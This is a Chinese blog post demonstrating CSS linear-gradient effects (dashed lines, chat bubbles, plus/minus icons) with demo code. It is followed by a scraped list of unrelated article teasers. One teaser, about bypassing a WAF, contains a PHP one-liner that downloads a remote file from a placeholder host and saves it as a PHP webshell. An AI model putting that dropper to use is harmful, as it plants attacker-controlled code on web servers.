linear-gradient常用实现效果
之前也研究过css3的这个属性,感觉没什么大用,一般的开发不会用到,毕竟调出来的渐变不专业,不如找一个好看的图片,其实很多时候还是有用的,偷来三个例子。
一、控制虚线
一般写虚线都用dashed,但有时候出来的效果并不是我们想要的,比如控制虚线间的间距,感觉力不从心啊。
用linear-gradient效果还是比较理想的。
<div class="dashed"></div>
<style>
.dashed {
height: 1px;
background: linear-gradient(to right, #000000, #000000 5px, transparent 5px, transparent);
background-size: 10px 100%;
}
</style>
另外关于虚线,复制demo,可自己调。
demo
<!DOCTYPE html>
<html>
<head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>title</title>
</head>
<body>
<div id="main">
<div id="body">
<div id="effect" class="part">
<h3>效果:</h3>
<div class="show">
<div class="demo">
<h5>HTML代码:</h5>
<pre name="code" class="DlHighlight html"><span class="paren xml-tagangle"><</span><span class="keyword xml-tag xml-tag-open">div</span> <span class="builtin xml-attribute">class</span><span class="undefined"></span><span class="operator">=</span><span class="string"><span class="before">"</span>dashed<span class="after">"</span></span><span class="paren xml-tagangle">></span><span class="paren xml-tagangle"></</span><span class="keyword xml-tag xml-tag-close">div</span><span class="paren xml-tagangle">></span></pre>
<h5>CSS代码:</h5>
<textarea id="cssCode" rows="6" cols="50"></textarea>
<h5>效果预览:</h5> <div class="dashed"></div> <h5>参数控制:</h5>
<p>选择实虚比例:<select id="ratio">
<option value="0.75">3:1</option>
<option value="0.666667">2:1</option>
<option value="0.6">3:2</option>
<option value="0.5" selected="">1:1</option>
<option value="0.3333333">1:2</option>
</select></p>
<p>选择虚线步幅(3-30):<input type="range" id="width" min="3" max="30" step="1" value="4"></p>
<p>选择虚线宽度(1-10):<input type="range" id="height" min="1" max="10" step="1" value="1"></p>
<p>选择虚线颜色:<input type="color" id="color" value="#00000"></p>
</div>
</div>
</div>
</div>
</div>
<style>
.dashed {
height: 2px;
background: linear-gradient(to right, #ff8000, #ff8000 8px, transparent 8px, transparent);
background-size: 16px 100%;
}
</style>
<script>
var eleRatio = document.getElementById('ratio');
var eleWidth = document.getElementById('width');
var eleHeight = document.getElementById('height');
var eleColor = document.getElementById('color');
var eleStyle = document.querySelector('style');
var eleCode = document.getElementById('cssCode');
var generate = function () {
var divide = Math.round(eleWidth.value * eleRatio.value * 100) / 100;
var css = '.dashed {\n' +
' height: '+ eleHeight.value +'px;\n'+
' background: linear-gradient(to right, '+ eleColor.value +', '+ eleColor.value +' '+ divide +'px, transparent '+ divide +'px, transparent);\n'+
' background-size: '+ eleWidth.value +'px 100%;\n'+
'}'; eleCode.value = css;
eleStyle.innerHTML = css;
}; generate(); // 事件
[eleRatio, eleWidth, eleHeight, eleColor].forEach(function (control) {
control.addEventListener('change', generate);
});
</script>
</body>
</html>
二、用linear-gradient实现气泡对话框
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
</head>
<body>
<div class="content">
<p class="talk">这是对话内容</p>
</div>
</body>
</html>
<style>
.content {
margin-left: 70px;
}
.talk {
display: inline-block;
max-width: 80%;
border: 1px solid #ddd;
border-radius: 3px;
padding: 6px 10px;
font-size: 14px;
background-color: #fff;
position: relative;
}
.talk::before {
content: '';
position: absolute;
width: 6px; height: 6px;
background: linear-gradient(to top, #ddd, #ddd) no-repeat, linear-gradient(to right, #ddd, #ddd) no-repeat, linear-gradient(135deg, #fff, #fff 6px, hsla(0,0%,100%,0) 6px) no-repeat;
background-size: 6px 1px, 1px 6px, 6px 6px;
transform: rotate(-45deg);
left: -4px; top: 13px;
}
</style>
三、用linear-gradient实现 加减号
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
</head>
<body>
<a href="javascript:" class="btn btn-plus" role="button" title="增加"></a>
<input value="1" size="1">
<a href="javascript:" class="btn btn-minus" role="button" title="减少"></a>
</body>
</html>
<style>
.btn {
display: inline-block;
background: #f0f0f0 no-repeat center;
border: 1px solid #d0d0d0;
width: 24px; height: 24px;
border-radius: 2px;
box-shadow: 0 1px rgba(100,100,100,.1);
color: #666;
transition: color .2s, background-color .2s;
}
.btn:active {
box-shadow: inset 0 1px rgba(100,100,100,.1);
}
.btn:hover {
background-color: #e9e9e9;
color: #333;
}
.btn-plus {
background-image: linear-gradient(to top, currentColor, currentColor), linear-gradient(to top, currentColor, currentColor);
background-size: 10px 2px, 2px 10px;
}
.btn-minus {
background-image: linear-gradient(to top, currentColor, currentColor);
background-size: 10px 2px;
}
</style>
@
linear-gradient常用实现效果的更多相关文章
- FCC---Create a Gradual CSS Linear Gradient
Applied Visual Design: Create a Gradual CSS Linear Gradient background: linear-gradient(gradient_dir ...
- php模拟数据库常用操作效果
test.php <?php header("Content-type:text/html;charset='utf8'"); error_reporting(E_ALL); ...
- jquery-12 jquery常用动画效果有哪些
jquery-12 jquery常用动画效果有哪些 一.总结 一句话总结:jquery可以用户animate()自定义动画,也可以slide和fade系列方法来设置动画. 1.动画效果如何设置执行时间 ...
- HTML常用标签效果展示
HTML常用标签效果展示 一.文本效果 段落1---收到了开发建设看来得更加快乐圣诞节福利肯定是减肥的路上苏里科夫就是打开了飞机都是风口浪尖上的疯狂了大煞风景圣诞快乐的索科洛夫几点上课了关键是低空掠过 ...
- jQuery中常用网页效果应用
一.常用网页效果应用 1.表单应用 表单由表单标签.表单域和表单按钮组成. 1.1单行文本框应用 例:获取和失去焦点改变样式 首先,在网页中创建一个表单,HTML代码如下 <form actio ...
- 常用JS效果 不断进步贴 不停更新~ 纪念用~
常用效果 JS 都是Jquery 没有特殊说明 1.选项卡 用的JQuery 以后学好点再来对比 看下 /* * @parent 最外层父级元素 * @EventElement 触发事件元素 ...
- transition:all 0.5s linear;进度条动画效果 制作原理
Html: <span class="progress"><b ><i></i></b><em>50< ...
- CSS3实现1前端常用Loading效果
此页动画效果都是gif图的,不想用代码写的话,下载图片就可使用. 第1种效果: 代码如下 <div class="loading"> <span></ ...
- 常用JS效果 需要时更新。。。
1.手风琴效果 JS: $(function() { var aMenuOneLi = $(".menu-one > li"); var aMenuTwo = ...
- css3常用动画效果集合01
/*由右到左进场*/ .FromRightToLeft{ -webkit-animation:FromRightToLeft 500s .2s ease both; } @-webkit-keyfra ...
随机推荐
- C语言 · 单词数统计
单词数统计 输入一个字符串,求它包含多少个单词. 单词间以一个或者多个空格分开. 第一个单词前,最后一个单词后也可能有0到多个空格. 比如:" abc xyz" 包含两个单词 ...
- js学习(六)- js对象创建
//---------------------js文件--------------------- var namespace02=new Object(); namespace02.Person=fu ...
- Direct3D 11 Tutorial 6:Lighting_Direct3D 11 教程6:灯光
概述 在之前的教程中,世界看起来很无聊,因为所有对象都以相同的方式点亮. 本教程将介绍简单照明的概念及其应用方法. 使用的技术将是朗伯照明. 本教程的结果将修改前面的示例以包含光源. 该光源将附在轨道 ...
- 【Dubbo 源码解析】08_Dubbo与Spring结合
Dubbo 与 Spring 结合 基于 dubbo.jar 内的 META-INF/spring.handlers 配置,Spring 在遇到 dubbo 名称空间时,会回调 DubboNamesp ...
- cocos2dx添加新的类后出现错误undefined reference to的解决办法
使用cocos compile -p android编译cocos2dx项目的时候出现如下错误(新建了TestScene.h,TestScene.cpp): jni/../../Classes/App ...
- Ext JS 6 入门学习资料大全(2018-03-07)
现在 sencha touch已经升级为 Ext JS 6 了重新整理下资料 官方网站:https://www.sencha.com/ 在线文档:http://docs.sencha.com/extj ...
- vue.js学习资料
vue.js学习VuejsAPI教程 https://vuejs.org.cn/guide/Vuejs自己的构建工具 http://www.jianshu.com/p/f8e21d87a572如何用v ...
- lxml xpath 爬取并正常显示中文内容
在使用python爬虫提取中文网页的内容,为了能正确显示中文的内容,在转为字符串时一定要声明编码为utf-8,否则无法正常显示中文,而是显示原编码的字符,并没有正确转换.比如下面这个简单的爬取百度页面 ...
- 浏览器打开exe文件
<win-r> regedit 打开注册表,然后自定义协议 自定义协议注册表.reg 打开后导入 Windows Registry Editor Version 5.00 [HKEY_CL ...
- 远程下载马bypass waf
<?php file_put_contents('dama.php',file_get_contents('http://xxx/xx.txt'));?> php这个函数不算冷门 第一个参 ...